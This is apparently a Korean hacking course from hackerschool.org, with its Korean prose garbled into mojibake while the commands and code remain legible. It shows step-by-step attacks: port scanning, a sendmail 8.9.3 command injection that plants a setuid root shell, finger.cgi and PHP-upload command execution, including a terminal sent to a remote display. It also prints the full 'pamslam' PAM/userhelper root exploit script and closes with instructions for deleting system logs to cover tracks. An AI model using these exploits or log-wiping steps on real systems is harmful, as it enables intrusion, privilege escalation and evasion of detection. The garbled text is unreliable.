
-v : ÇØÁ¦ °úÁ¤À» º¸¿©ÁÝ´Ï´Ù.

-f : ÆÄÀÏ »óÅÂÀÇ ¾ÐÃàÀ» ÇØÁ¦ÇÕ´Ï´Ù.

[ *.tar.gz ÇüÅ·ΠµÈ ÆÄÀÏÀÇ ¾ÐÃàÀ» ÇØÁ¦ ½ÃÅ°´Â Àå¸é ]

À§¿Í °°ÀÌ *.tar.gz ÆÄÀÏÀº ¸ÕÀú tar·Î ÇØÁ¦½ÃŲ ÈÄ
´Ù½Ã ÀÏ¹Ý ÆÄÀÏ·Î ÇØÁ¦½ÃÄÑ ÁÖ¾î¾ß ÇÕ´Ï´Ù.
¶Ç À§ÀÇ °úÁ¤Àº tarÀÇ z ¿É¼ÇÀ¸·Î Çѹø¿¡ ÇØ°áÇÒ ¼öµµ ÀÖ½À´Ï´Ù.

[ Çѹø¿¡ *.tar.gz ÆÄÀÏÀ» ÇØÁ¦½ÃÅ°´Â ¸ð½À ]

ASCANÀÇ ½ÇÇà

ASCANÀ» »ç¿ëÇÏ¿© Æ÷Æ® ½ºÄµÀ» ÇÏ´Â ¹æ¹ýÀº ¸Å¿ì °£´ÜÇÕ´Ï´Ù.

[ ASCANÀÇ »ç¿ë ¹æ¹ý ]

»ùÇÃ12 µÎ±ÙµÎ±Ù ½ÇÁ¤ ÇØÅ·

¹®ÀÌ ¸î °³³ª ÀÖ³ª.. - Á¤º¸ ¼öÁý

¸ðµç ¼­¹ö°¡ ¶È°°Àº ¹æ¹ýÀ¸·Î ÇØÅ· µÇÁö ¾Ê´Â´Ù´Â °Í
Á¤µµ´Â ¸»ÇÏÁö ¾Ê¾Æµµ ¾Ë °ÍÀÔ´Ï´Ù.
º¸¾ÈÀÌ Ã¶ÀúÇÑ ¼­¹ö°¡ ÀÖ´Â ¹Ý¸é, ¾Æ¿¹ º¸¾È ÂÊÀ¸·Ð
½Å°æµµ ¾È ¾²´Â ¼­¹öµµ ÀÖ½À´Ï´Ù.
ÇØÅ·ÀÇ Á¦ 1´Ü°èÀÎ Á¤º¸ ¼öÁýÀº ¹Ù·Î
ÇØ´ç ¼­¹ö(¼­¹ö °ü¸®ÀÚ)°¡ º¸¾È¿¡ ¾î´À Á¤µµ °ü½ÉÀÌ
ÀÖ´ÂÁö¸¦ ¾Ë¾Æ³»´Â °úÁ¤ÀÔ´Ï´Ù.

Æ÷Æ® ½ºÄ³´×

¾Õ¼­ ¹è¿î ¸¹Àº Á¾·ùÀÇ Æ÷Æ® ½ºÄ³³Ê Áß ¸¶À½¿¡ µå´Â °ÍÀ» Çϳª °ñ¶ó
hackerschool.org¸¦ ½ºÄµÇØ º¾½Ã´Ù.

[ nmapÀ» »ç¿ëÇÏ¿© hackerschool.org¸¦ ½ºÄµÇÑ ¸ð½À ]

°á°ú¸¦ º¸¸é 21, 23, 25, 80, 110 µîÀÇ ¼­ºñ½º¿¡
²À ÇÊ¿äÇÑ Æ÷Æ®¸¸ ¿­·ÁÀÖ½À´Ï´Ù.
µû¶ó¼­ ÀÌ¿Í °°Àº ¼­¹ö´Â ¾î´À Á¤µµ º¸¾È °ü¸®°¡ µÇ¾îÀÖ´Â
°÷À̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù.

¹Ý¸é¿¡ ´ÙÀ½ÀÇ ¼­¹ö¸¦ º¾½Ã´Ù.

[ º¸¾È °ü¸®°¡ Á¦´ë·Î µÇ¾îÀÖÁö ¾ÊÀº ¼­¹ö ]

ÀüÇô ¾µµ¥°¡ ¾ø´Â Æ÷Æ®µéÀÌ ¸¹ÀÌ ¿­·ÁÀÖ´Â °ÍÀ»
È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.
µû¶ó¼­ ÀÌ°÷ÀÇ °ü¸®ÀÚ´Â ¼­¹ö °ü¸®¿¡ °ü½ÉÀÌ ¾ø°Å³ª
½Ç·ÂÀÌ ¾ø´Â °Í µÑ Áß ÇϳªÀÏ °ÍÀÔ´Ï´Ù.

»ùÇÃ13 µÎ±ÙµÎ±Ù ½ÇÀü ÇØÅ· - µ¥¸óÀÇ ¹öÀü È®ÀÎ

Æ÷Æ®°¡ ¿­·Á ÀÖ´Ù´Â °ÍÀº ±×°÷¿¡ ÇÁ·Î±×·¥ÀÌ
ÀÛµ¿ ÁßÀ̶ó´Â ¾ê±âÀÔ´Ï´Ù.

µû¶ó¼­ ÀÌÁ¦ ÇؾßÇÒ ÀÏÀº Æ÷Æ®¿¡ Çϳª Çϳª¾¿ Á÷Á¢ Á¢¼ÓÇÏ¿©
ÇÁ·Î±×·¥°ú ±×°ÍÀÇ ¹öÀüÀ» È®ÀÎÇÏ´Â °ÍÀÔ´Ï´Ù.

[ telnetÀ» »ç¿ëÇÏ¿© 21¹ø Æ÷Æ®¿¡ Á¢¼Ó ]

2.6.0 ¹öÀüÀÇ wu_ftp ÇÁ·Î±×·¥À» »ç¿ëÇÏ°í ÀÖ´Ù´Â °ÍÀ»
º¼ ¼ö ÀÖ½À´Ï´Ù.

Âü°í·Î ÀÌ ¹öÀü¿£ ¿ÜºÎ¿¡¼­ ·çÆ®¸¦ ȹµæÇÒ ¼ö ÀÖ´Â
¹ö±×°¡ Á¸ÀçÇÕ´Ï´Ù.
¿©±â¼­ ´Ù½Ã Çѹø ÀÌ ¼­¹öÀÇ °ü¸®ÀÚ°¡ ¾ó¸¶³ª º¸¾È ÀǽÄÀÌ
¾ø´ÂÁö¸¦ ¾Ë ¼ö ÀÖ½À´Ï´Ù.

À̹ø¿£ 23¹ø Æ÷Æ®¿¡ Á¢¼ÓÇØ º¾½Ã´Ù.

[ 23¹ø Æ÷Æ®¿¡ Á¢¼Ó ]

¸®´ª½º ¹öÀüÀÌ ±×´ë·Î ³ëÃâµÇ¾î ÀÖ½À´Ï´Ù.
ÀÌ·± °Ç /etc/issue.netÀ» ÆíÁýÇؼ­ ¼û°Ü ÁÖ¾î¾ß ÇÕ´Ï´Ù.

À̹ø¿£ ¶Ç 25¹ø Æ÷Æ®¿¡ Á¢¼ÓÇØ º¾½Ã´Ù.

[ 25¹ø Æ÷Æ®¿¡ Á¢¼Ó ]

25¹ø Æ÷Æ®¿£ ¸ÞÀÏ ¼­¹ö°¡ ÀÛµ¿ ÁßÀÔ´Ï´Ù.
ÇÁ·Î±×·¥Àº sendmail 8.9.3À¸·Î ºñ±³Àû ÃֽŠ¹öÀüÀ̱ä Çϳª
¿ª½Ã ¹ö±×¸¦ °¡Áö°í ÀÖ´Â °ÍÀº ¸¶Âù°¡ÁöÀÔ´Ï´Ù.

53¹ø Æ÷Æ®¿¡´Â bind¶ó´Â ÇÁ·Î±×·¥ÀÌ ÀÛµ¿ ÁßÀε¥,
ÀÌ°ÍÀº ÅÚ³Ý Á¢¼ÓÀ¸·Î ¹öÀüÀ» È®ÀÎÇÒ ¼ö ¾ø°í,
dig¶ó´Â ¸í·ÉÀ» »ç¿ëÇØ¾ß ÇÕ´Ï´Ù.

[ bind ÇÁ·Î±×·¥ÀÇ ¹öÀü È®ÀÎ ]

8.2.1 ¹öÀüÀÇ bind ÇÁ·Î±×·¥À» »ç¿ëÇÏ°í ÀÖÀ¸¸ç,
¿ª½Ã °ü¸®ÀÚ´Â ÀÌ ÇÁ·Î±×·¥¿¡µµ ¿ÜºÎ¿¡¼­ ·çÆ®¸¦ ȹµæÇÒ ¼ö
ÀÖ´Â ¹ö±×°¡ Á¸ÀçÇÑ´Ù´Â »ç½ÇÀ» ¸ð¸£°í ÀÖ´Â µí ÇÕ´Ï´Ù.

79¹ø Æ÷Æ®ÀÇ finger ÇÁ·Î±×·¥¿¡´Â Ưº°ÇÑ ¹ö±×´Â ¾øÀ¸³ª,
¿ÜºÎ¿¡¼­ ³»ºÎ ÀÌ¿ëÀÚµéÀÇ Á¤º¸¸¦ ij³¾ ¼ö ÀÖ´Ù´Â
´ÜÁ¡À» °¡Áö°í ÀÖ½À´Ï´Ù.

[ finger Æ÷Æ®¸¦ ÀÌ¿ëÇÏ¿© ³»ºÎ »ç¿ëÀÚÀÇ Á¤º¸¸¦ ij³½ ¸ð½À ]

±× ¿Ü 80¹ø, 110¹ø Æ÷Æ®¿¡µµ ¹ö±×°¡ ÀÖÀ» È®·üÀÌ »ó´çÈ÷ ³ô°í,
513, 514¹ø Æ÷Æ®´Â ¹éµµ¾î·Î ¾Ç¿ëµÉ ¼ö ÀÖ½À´Ï´Ù.

ÀÌó·³ Á¤º¸ ¼öÁýÀÇ °á°ú¸¸ º¸°íµµ ÇØ´ç ¼­¹ö°¡ ÇØÅ· °¡´ÉÇÑÁö
¾Æ´ÑÁö¸¦ ÆÇ°¡¸§ ÇÒ ¼ö ÀְԵ˴ϴÙ.
ÀÌÁ¦ ±× °á°ú¸¦ Åä´ë·Î ¸®¸ðÆ® ¾îÅÃÀ» ÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ
ÀÚ¼¼ÇÏ°Ô ¹è¿öº¾½Ã´Ù.

»ùÇÃ14 - ¸®¸ðÆ® ÇØÅ· - 25¹ø Æ÷Æ®¸¦ ÀÌ¿ëÇÏ¿© °ø°ÝÇÏ´Â ¹æ¹ý

25¹ø Æ÷Æ®¿¡´Â ¸ÞÀÏÀ» º¸³¾ ¶§ »ç¿ëÇÏ´Â ¸ÞÀÏ ¼­¹ö°¡ ÀÖ°í,
°ÅÀÇ ¸ðµç ¼­¹ö°¡ sendmail ÇÁ·Î±×·¥À» »ç¿ëÇÕ´Ï´Ù.
ÀÌ sendmail ÇÁ·Î±×·¥Àº ´ëºÎºÐ root ±ÇÇÑÀ¸·Î ÀÛµ¿Çϱ⠶§¹®¿¡
ÀÌ°ÍÀ» ÀÌ¿ëÇÑ remote attack¿¡ ¼º°øÇϸé
Çѹø¿¡ root ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖ°Ô µË´Ï´Ù.

EXPN ¹ö±×

ÀÌ°ÍÀº ½©À» ȹµæÇÏ´Â °ÍÀÌ ¾Æ´Ñ ³»ºÎ »ç¿ëÀÚÀÇ Á¤º¸¸¦
ij³»´Â °íÀüÀûÀÎ ¹ö±×ÀÔ´Ï´Ù.

ÇØÅ· ÇÏ°íÀÚ ÇÏ´Â ´ë»óÀ» ¼³Á¤ÇßÀ» ¶§ ±×°÷¿¡ ¾î¶² ¾î¶²
°èÁ¤ÀÌ Á¸ÀçÇÏ´ÂÁö ¾Ë ¼ö ÀÖ´Ù¸é ¸Å¿ì Å« µµ¿òÀÌ µÉ °ÍÀÔ´Ï´Ù.
ÇØ´ç °èÁ¤ÀÇ ºñ¹Ð¹øÈ£¸¦ ÃßÃøÇÏ¿© Á¢¼Ó¿¡
¼º°øÇÒ °æ¿ìµµ ÀÖÀ» °ÍÀÌ°í,
http://target.com/~°èÁ¤¸í °ú °°Àº ½ÄÀ¸·Î Á¢¼ÓÀ» ½ÃµµÇÏ¿©
nobody ±ÇÇÑÀ» ȹµæÇÒ ¼ö ÀÖ´Â hole ÀÌ Á¸ÀçÇÏ´ÂÁö¸¦
»ìÆ캼 ¼öµµ ÀÖÀ» Å×´Ï ¸»ÀÔ´Ï´Ù.
ÈçÈ÷ ¿ì¸®°¡ º¼ ¼ö ÀÖ´Â bbs³ª À¥ »ó¿¡¼­ÀÇ ·Î±×ÀÎ °úÁ¤À» º¸¸é
Á¸ÀçÇÏÁö ¾Ê´Â ¾ÆÀ̵𸦠ÀÔ·ÂÇßÀ» ¶§
"ÇØ´ç ¾ÆÀ̵ð´Â Á¸ÀçÇÏÁö ¾Ê½À´Ï´Ù." ¿Í °°Àº
Ä£ÀýÇÑ ¸Þ¼¼Áö°¡ Ãâ·ÂµÇÁö¸¸ ¸®´ª½ºÀÇ ÅÚ³Ý ¼­¹öÀÇ °æ¿ì¿¡´Â
ÀÔ·ÂÇÑ ¾ÆÀ̵𰡠Á¸ÀçÇÏ´ø, ÇÏÁö ¾Ê´ø °£¿¡ ¹«Á¶°Ç
"Login incorrect" ¶ó°í ¸¸ ³ªÅ¸³ª ¹ö¸³´Ï´Ù.

[ bbs - ÇØ´ç ¾ÆÀ̵𰡠¾øÀ» ¶© ±×°ÍÀ» ¾Ë·ÁÁØ´Ù. ]

[ telnet-ÇØ´ç¾ÆÀ̵ðÀÇ Á¸Àç¿©ºÎ¿¡ °ü°è¾øÀÌ µ¿Àϸ޼¼Áö°¡ Ãâ·ÂµÈ´Ù ]

¸¸¾à ÇØ´ç ¼­¹ö¿¡¼­ ¾î¶°ÇÑ remote »óÀÇ hole µµ ¹ß°ßÇÏÁö
¸øÇؼ­ °á±¹ telnet ¼­¹ö¸¦ ´ë»óÀ¸·Î ¹«Â÷º° ´ëÀÔÀ»
½ÃµµÇÑ´Ù°í Çغ¾½Ã´Ù.
±×·³ ÇØ´ç ¼­¹ö¿¡ Á¸ÀçÇÏ´Â °èÁ¤ ¸íÀ» ¾Ë ¶§¿Í
±×·¸Áö ¾ÊÀ» ¶§ÀÇ Â÷ÀÌ´Â ¾öû³¯ °ÍÀÔ´Ï´Ù.
ÀÌÁ¦ ¼³¸í ÇÒ expn ¹ö±×´Â ÇØ´çÇÏ´Â °èÁ¤ÀÌ °ú¿¬
ÀÌ ¼­¹ö¿¡ Á¸ÀçÇÏ´ÂÁöÀÇ ¿©ºÎ¸¦ ½±°Ô ¾Ë¾Æº¼ ¼ö ÀÖ°Ô
ÇØÁÖ´Â °ÍÀÔ´Ï´Ù.
±×¸®°í ÀÌ°ÍÀº 25¹ø Æ÷Æ®ÀÇ sendmail ÇÁ·Î±×·¥ »óÀÇ ¹ö±×À̸ç
ÇöÀç±îÁö ¹èÆ÷µÈ ¸ðµç ¹öÁ¯¿¡ Á¸ÀçÇÕ´Ï´Ù.

expn ¹ö±×¸¦ ÀÌ¿ëÇÏ¿© ÇØ´ç °èÁ¤ÀÇ À¯¹«¸¦ È®ÀÎÇÏ´Â ¹æ¹ý

ÀÏ´Ü Å¸°Ù ¼­¹öÀÇ 25¹ø Æ÷Æ®¿¡ Á¢¼ÓÀ» ÇÕ´Ï´Ù.

Áß°£ »ý·«...

»ùÇà 15 ¸®¸ðÆ® ÇØÅ· - sendmail 8.9.3 ¹ö±×¸¦ ÀÌ¿ëÇÑ ÇØÅ·ÀÇ ½Ç ¿¹

ÀÏ´Ü °èÁ¤À» °¡Áö°í ÀÖ´Â »óÅ¿¡¼­ sendmail 8.9.3ÀÇ
¹ö±×¸¦ ÀÌ¿ëÇØ root ±ÇÇÑÀ» ¾ò´Â ¹æ¹ýÀ» ¹è¿öº¾½Ã´Ù.

1. ÇØ´ç ¼­¹ö Á¢¼Ó

2. /tmp µð·ºÅ丮¿¡ ´ÙÀ½°ú °°Àº ÇÁ·Î±×·¥ Á¦ÀÛ

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int main()

{

        system( "cp /bin/sh /tmp/sh" );

        system( "chmod +s /tmp/sh" );

}

3. hack À̶ó´Â À̸§À¸·Î ÄÄÆÄÀÏ

4. ¿ÜºÎ¿¡¼­ 25¹ø Æ÷Æ®·Î Á¢¼Ó

5. helo x ÀÔ·Â

6. mail from: ;/tmp/hack;@test.com ÀÔ·Â

-> ÀÌ ºÎºÐÀÌ Áß¿äÇÕ´Ï´Ù.
¿ø·¡´Â mail from: ilchuks@hanmail.net °ú °°Àº ½ÄÀ¸·Î
º¸³»´Â »ç¶÷ÀÇ ¸ÞÀÏ ÁÖ¼Ò¸¦ ÁöÁ¤ÇØ ÁÖ´Â ºÎºÐÀε¥,
À§¿Í °°ÀÌ ";" ¸¦ »ç¿ëÇÏ¿© ¿øÇÏ´Â ½© ¸í·ÉÀ» ½ÇÇà½Ãų ¼ö ÀÖ½À´Ï´Ù.

7. rcpt to: ftp ÀÔ·Â

8. data ÀÔ·Â

9. . ÀÔ·Â

10. quit ÀÔ·Â

ÀÌÁ¦ sendmailÀÇ ¹ö±×·Î ÀÎÇØ /tmp/hack ÇÁ·Î±×·¥ÀÌ
rootÀÇ ±ÇÇÑÀ¸·Î ½ÇÇàÀÌ µÆÀ» Å×°í,
¶Ç ±× ÇÁ·Î±×·¥¿¡ ÀÇÇØ ½©ÀÌ /tmp ¹ØÀ¸·Î º¹»ç µÈ ´ÙÀ½ÀÇ
root ±ÇÇÑÀÇ setuid°¡ °É¸®°Ô µÉ °ÍÀÔ´Ï´Ù.

[ root ±ÇÇÑ È¹µæ ]

ÀÌó·³ mail from ¿¡ ";"¸¦ ÀÌ¿ëÇÏ¿© ½© ¸í·É¾î¸¦ ÀÔ·ÂÇϸé
±×°ÍÀÌ ½ÇÇàÀÌ µÇ´Â °ÍÀÌ sendmail 8.9.3 ÇÁ·Î±×·¥ÀÇ ¹ö±×ÀÔ´Ï´Ù.
¿©±â¼­ °èÁ¤À» °¡Áö°í ÀÖÁö ¾ÊÀº »óÅ¿¡¼­ °ø°ÝÇÏ´Â ¹æ¹ýÀ»
º¸¿©ÁÖÁö ¾ÊÀº °ÍÀº ±×·¸°Ô ÇÏ´Â °Í¿¡ ÇÑ°¡Áö ¹®Á¦Á¡ÀÌ ÀÖ±â
¶§¹®ÀÔ´Ï´Ù. ´ÙÀ½À» º¾½Ã´Ù.

ÀÌ¿Í °°ÀÌ ½ÇÇàÇÏ°íÀÚ ÇÏ´Â ¸í·É¿¡ ½ºÆäÀ̽º(' ') °¡ µé¾î°¡
ÀÖÀ¸¸é mail from ¸í·É¿¡ ¿¡·¯°¡ »ý±â±â ¶§¹®ÀÔ´Ï´Ù.
ÇÊÀÚ´Â ÀÌ ¹®Á¦¸¦ ÇØ°áÇϱâ À§ÇØ µû¿ÈÇ¥("") »çÀÌ¿¡ ¸í·ÉÀ»
³Ö¾îº¸±âµµ Çß°í, ½ºÆäÀ̽º ´ë½Å %40, \x40, \040, %09 µîÀÇ
¹®ÀÚ¸¦ »ç¿ëÇØ º¸±âµµ Çß½À´Ï´Ù.
ÇÏÁö¸¸ °á°ú´Â ¸ðµÎ ¸¶Âù°¡Áö¿´´Ù.
±×·¯´ø µµÁß °á±¹ »ý°¢ÇØ ³½ °ÍÀº ¹Ù·Î ÀÌ°ÍÀÔ´Ï´Ù.

Áß°£ »ý·«..

»ùÇÃ16 - ¸®¸ðÆ® ÇØÅ· - cgi¸¦ ÅëÇÑ ÇØÅ·ÀÇ ½Ç ¿¹

 

´ÙÀ½Àº Ãë¾àÁ¡ÀÌ ÀÖ´Â finger.cgi¸¦ ÅëÇؼ­ ¿øÇÏ´Â ¸í·ÉÀ»
À¥ »ó¿¡¼­ ½ÇÇàÇÏ´Â ¸ð½ÀÀÔ´Ï´Ù.
½ÇÁ¦ ftz.hackerschool.org ¼­¹ö¿¡ Á¢¼ÓÇÏ¿© µû¶óÇØ º¼ ¼ö ÀÖ½À´Ï´Ù.

Á¤»óÀûÀÎ finger.cgi »ç¿ë

[ finger ½ÇÇà ]

[ finger °á°ú ]

; ¹®ÀÚ¸¦ ÇÊÅ͸µÇÏÁö ¾Ê¾Æ »ý±â´Â ¹®Á¦Á¡

[ ; °ú ÇÔ²² ¿øÇÏ´Â ¸í·É ÀÔ·Â ]

[ ½ÇÇà °á°ú ]

ÀÌ·± ½ÄÀ¸·Î À¥ »ó¿¡¼­ Æнº¿öµå ÆÄÀÏÀ» ¿­¾îº¼ ¼öµµ ÀÖÀ¸¸ç..

ÇÑÅÒÀ» ¶ç¿ö local °èÁ¤À» ȹµæÇÒ ¼öµµ ÀÖ½À´Ï´Ù.
±ÇÇÑÀº nobodyÀÔ´Ï´Ù.

»ùÇà 17 - ¸®¸ðÆ® ÇØÅ· - php ÆÄÀÏ ¾÷·Îµå Ãë¾àÁ¡ÀÇ ½Ç ¿¹

ÀÌÁ¦ php ÇØÅ·À» À§ÇÑ Áغñ´Â ³¡³µ½À´Ï´Ù.
´ÙÀ½Àº ½ÇÁ¦ php¸¦ »ç¿ëÇÑ ÇØÅ·ÀÇ ¿¹ÀÔ´Ï´Ù.
¿ª½Ã ¿©·¯ºÐÀÇ ÄÄÇ»ÅÍ¿¡¼­ ¶È°°ÀÌ µû¶óÇØ º¼ ¼ö ÀÖ½À´Ï´Ù.

1. php ÆÄÀÏ ÀÛ¼º

¸Þ¸ðÀåÀ» ¿­°í ´ÙÀ½°ú °°ÀÌ ÀÔ·ÂÇÑ ÈÄ ÀúÀåÇÕ´Ï´Ù.

2. Ž»ö±â¸¦ ÀÌ¿ëÇÏ¿© ÀúÀåµÈ ÆÄÀÏÀÇ À̸§À»
.txt ¿¡¼­ .php ·Î ¹Ù²ãÁÝ´Ï´Ù.

->

3. http://ftz.hackerschool.org/~realhack Á¢¼Ó

4. ÀÛ¼ºÇÑ php ÆÄÀÏ ¾÷·Îµå

5. ÀÌÁ¦ ÷ºÎµÈ ÆÄÀÏÀ» Ŭ¸¯Çϸé Æнº¿öµå ÆÄÀÏÀ»
º¼ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.

¸¸¾à cat /etc/passwd ´ë½Å hanterm -display IP:0.0
À̶ó´Â ¸í·ÉÀ» ³ÖÀ¸¸é nobody ±ÇÇÑÀÇ ·ÎÄà °èÁ¤À»
¾òÀ» ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.
hantermÀ» ¶ç¿ì±â Àü¿£ ¹°·Ð xmanager°¡ ½ÇÇàµÇ¾î ÀÖ¾î¾ß ÇÕ´Ï´Ù.

php ÆÄÀÏ ¾÷·Îµå Ãë¾àÁ¡ÀÇ ÀÀ¿ë

php ÆÄÀÏ ¾÷·Îµå Ãë¾àÁ¡ÀÌ ¸¹ÀÌ ¾Ë·ÁÁö¸é¼­
ÀÌ°ÍÀ» ¹æ¾îÇÏ´Â °Ô½ÃÆÇÀÌ Çϳª¾¿ ³ªÅ¸³ª±â ½ÃÀÛÇß½À´Ï´Ù.
À̹ø¿£ ¹æ¾î°¡ µÇ¾îÀÖ´Â °Ô½ÃÆÇÀ» °ø°ÝÇÏ´Â ¹æ¹ý¿¡
´ëÇؼ­ ¹è¿öº¾½Ã´Ù.

Áß°£»ý·«...

»ùÇÃ18 ·ÎÄÃ ÇØÅ·

 /usr/sbin/userhelper ÆÄÀÏÀ» ÀÌ¿ëÇÑ ·çÆ® ȹµæ

¼³¸í      º¸¾È»ó ¿Ïº®ÇÒ ÁÙ¸¸ ¾Ë¾Ò´ø ·¹µåÇò 6.0ÀÌ ¹èÆ÷µÈ ÈÄ
            Ã³À½À¸·Î ¹ß°ßµÇ¾î Å« À̽´°¡ µÇ¾ú´ø ¹ö±×ÀÔ´Ï´Ù.
            ÀÌ°ÍÀº root ±ÇÇÑÀÇ setuid°¡ °É¸° userhelper ÇÁ·Î±×·¥°ú
            ÀåÂø¹æ½Ä ÀÎÁõ ¸ðµâ(PAM) ±×¸®°í ÇÑ ´Ü°è »óÀ§
            µð·ºÅ丮¸¦ ÀǹÌÇÏ´Â ".." ¹®ÀÚ¿¡ °ü·ÃµÇ¾î ±¸ÇöµË´Ï´Ù.
            userhelper ÇÁ·Î±×·¥¿¡´Â -w ¶ó´Â PAM °ü·Ã ÆÄÀÏÀ»
            µ¿½Ã¿¡ ½ÇÇà½ÃÅ°´Â ¿É¼ÇÀÌ Àִµ¥,
            ÀÌ°ÍÀº ¿ÀÁ÷ /etc/security/console.apps µð·ºÅ丮 ¾ÈÀÇ
            ÆÄÀϸ¸ Àû¿ëµÇ°Ô²û ±âº»À¸·Î ¼³Á¤µÇ¾îÀÖ½À´Ï´Ù.
            ÇÏÁö¸¸ µð·ºÅ丮¸¦ Á¤ÀÇÇÏ´Â °úÁ¤¿¡¼­ ÀÌ ÇÁ·Î±×·¥Àº
            strcat() ÇÔ¼ö¸¦ »ç¿ëÇϱ⠶§¹®¿¡ Æнº¸íÀ»
             ../../../../xxx ¿Í °°ÀÌ ÀÔ·ÂÇØ ÁÖ¸é À§ÀÇ µð·ºÅ丮¸¦
            ¹þ¾î³ª ¿øÇϴ ¾î¶² ÆÄÀϵµ ½ÇÇàÇÒ ¼ö ÀÖ°Ô µÇ´Â °ÍÀÔ´Ï´Ù.
            µû¶ó¼­ ¹éµµ¾î¸¦ »ý¼ºÇÏ´Â ÇÁ·Î±×·¥À» ¹Ì¸® Á¦ÀÛÇÑ ÈÄ
            userhelper ¸í·ÉÀ» ÀÌ¿ëÇØ ±×°ÍÀ» root ±ÇÇÑÀ¸·Î
            ½ÇÇà½Ãų ¼ö ÀÖ´Ù´Â °ÍÀ» ÀǹÌÇÕ´Ï´Ù.

´ë»ó       MandrakeSoft Linux Mandrake 6.1
             MandrakeSoft Linux Mandrake 6.0
             RedHat Linux 6.1 i386
             RedHat Linux 6.0 i386
             TurboLinux Turbo Linux 6.0.2
             TurboLinux Turbo Linux 4.4
             TurboLinux Turbo Linux 4.2
             TurboLinux Turbo Linux 3.5b2

Á¶°Ç       pam-0.68-10.i386.rpm ¹Ì¸¸
             usermode-1.17-1.i386.rpm ¹Ì¸¸

exploit

#!/bin/sh

#

# pamslam - vulnerability in Redhat Linux 6.1 and PAM pam_start

# found by dildog@l0pht.com

#  

# synopsis:

#  both 'pam' and 'userhelper' (a setuid binary that comes with the

# 'usermode-1.15' rpm) follow .. paths. Since pam_start calls down to

#    _pam_add_handler(), we can get it to dlopen any file on disk. 'userhelper'

#  being setuid means we can get root.

#

# fix:

#    No fuckin idea for a good fix. Get rid of the .. paths in userhelper

#    for a quick fix. Remember 'strcat' isn't a very good way of confining

#    a path to a particular subdirectory.

#

# props to my mommy and daddy, cuz they made me drink my milk.

 

cat > _pamslam.c << EOF

#include<stdlib.h>

#include<unistd.h>

#include<sys/types.h>

void _init(void)

{

    setuid(geteuid());

    system("/bin/sh");

}

EOF

echo -n .

echo -e auth\\trequired\\t$PWD/_pamslam.so > _pamslam.conf

chmod 755 _pamslam.conf

echo -n .

gcc -fPIC -o _pamslam.o -c _pamslam.c

echo -n o

ld -shared -o _pamslam.so _pamslam.o

echo -n o

chmod 755 _pamslam.so

echo -n O

rm _pamslam.c

rm _pamslam.o

echo O

/usr/sbin/userhelper -w ../../..$PWD/_pamslam.conf

sleep 1s

rm _pamslam.so

rm _pamslam.conf

°ø°Ý ¿¹

userhelper ÇÁ·Î±×·¥¿¡ setuid bit¸¦ È®ÀÎ

¹ö±×°¡ ÀÖ´Â ÆÐÅ°ÁöÀÎÁö ¹öÁ¯À» È®ÀÎ

exploit Áغñ

exploit ½ÇÇà

»ùÇà 19 ÇØÅ· ÈçÀûÁö¿ì±â

root ±ÇÇÑÀ» ¾ò´Âµ¥ ¼º°øÇß´Ù¸é ÀÌÁ¦ ´ÙÀ½ ´Ü°è´Â
·Î±× ±â·ÏÀ» Áö¿ì´Â °ÍÀÔ´Ï´Ù.
¸®´ª½º´Â ¸ðµç ¿ÜºÎ·ÎºÎÅÍÀÇ Á¢¼ÓÀ» ÆÄÀÏ¿¡ ÀúÀåÇϱ⠶§¹®¿¡,
³ªÁß¿¡¶óµµ ÃßÀûÀÌ °¡´ÉÇϱ⠶§¹®ÀÔ´Ï´Ù.
¿©±â¿¡¼± ¾î´À ÆÄÀÏ¿¡ ¾î¶² ±â·ÏÀÌ ÀúÀåµÇ°í ±×°ÍÀ»
»èÁ¦ÇÏ´Â ¹æ¹ýÀº ¹«¾ùÀÎÁö¿¡ ´ëÇؼ­ ¹è¿öº¸°Ú½À´Ï´Ù.
ÇÏÁö¸¸ ¹Ì¸® ¸»ÇßµíÀÌ ÀÌ ÈçÀû Áö¿ì±â¿¡ ¼º°øÇß´Ù°í
¾È½ÉÇؼ± ¾È µË´Ï´Ù.
¸¸¾à ½Ç½Ã°£À¸·Î ·Î±× ±â·ÏÀ» ÀμâÇϰųª ´Ù¸¥ ¼­¹ö·Î
º¸³»¹ö¸®´Â ÀåÄ¡°¡ ÀÖ´Ù¸é ±×°ÍÀº »èÁ¦°¡ ºÒ°¡´É ÇÒ Å״ϱî¿ä...

·Î±× ±â·ÏÀÌ ÀúÀåµÇ´Â ÆÄÀϵé

/var/run/utmp

- ÇöÀç ·Î±×ÀÎ µÇ¾îÀÖ´Â »ç¿ëÀÚÀÇ Á¤º¸¸¦ ±â·ÏÇÕ´Ï´Ù.
¿ì¸®°¡ w ¸í·ÉÀ» ÀÔ·ÂÇßÀ» ¶§ ÀоîµéÀÌ´Â ÆÄÀÏÀÔ´Ï´Ù.

/var/log/wtmp

- »ç¿ëÀÚµéÀÇ ·Î±×ÀÎ, ·Î±×¾Æ¿ô Á¢¼ÓÀ» ±â·ÏÇÕ´Ï´Ù.
last ¸í·ÉÀ¸·Î ³»¿ëÀ» º¼ ¼ö ÀÖ½À´Ï´Ù.

/var/log/lastlog

- »ç¿ëÀÚµéÀÇ ¸¶Áö¸· Á¢¼Ó ½Ã°£À» ±â·ÏÇÕ´Ï´Ù.

/var/log/secure

- ¾îµð¼­ ¾î¶² »ç¿ëÀÚ°¡ login Çß´ÂÁö¸¦ ÅؽºÆ®·Î ±â·ÏÇÕ´Ï´Ù.

/var/log/httpd/access_log

- À¥ »ó¿¡¼­ÀÇ ÆÄÀÏ Á¢±ÙÀ» ÅؽºÆ®·Î ±â·ÏÇÕ´Ï´Ù.

~/.bash_history

- ÇØ´ç »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ ½© ¸í·ÉµéÀ» ÅؽºÆ®·Î ±â·ÏÇÕ´Ï´Ù.

·Î±× ±â·ÏÀÇ »èÁ¦

·Î±× ±â·ÏÀ» »èÁ¦ÇÏ´Â °¡Àå °£´ÜÇÑ ¹æ¹ýÀº ´Ü¼øÈ÷
ÇØ´ç ÆÄÀÏÀ» Áö¿ö¹ö¸®´Â °ÍÀÔ´Ï´Ù.

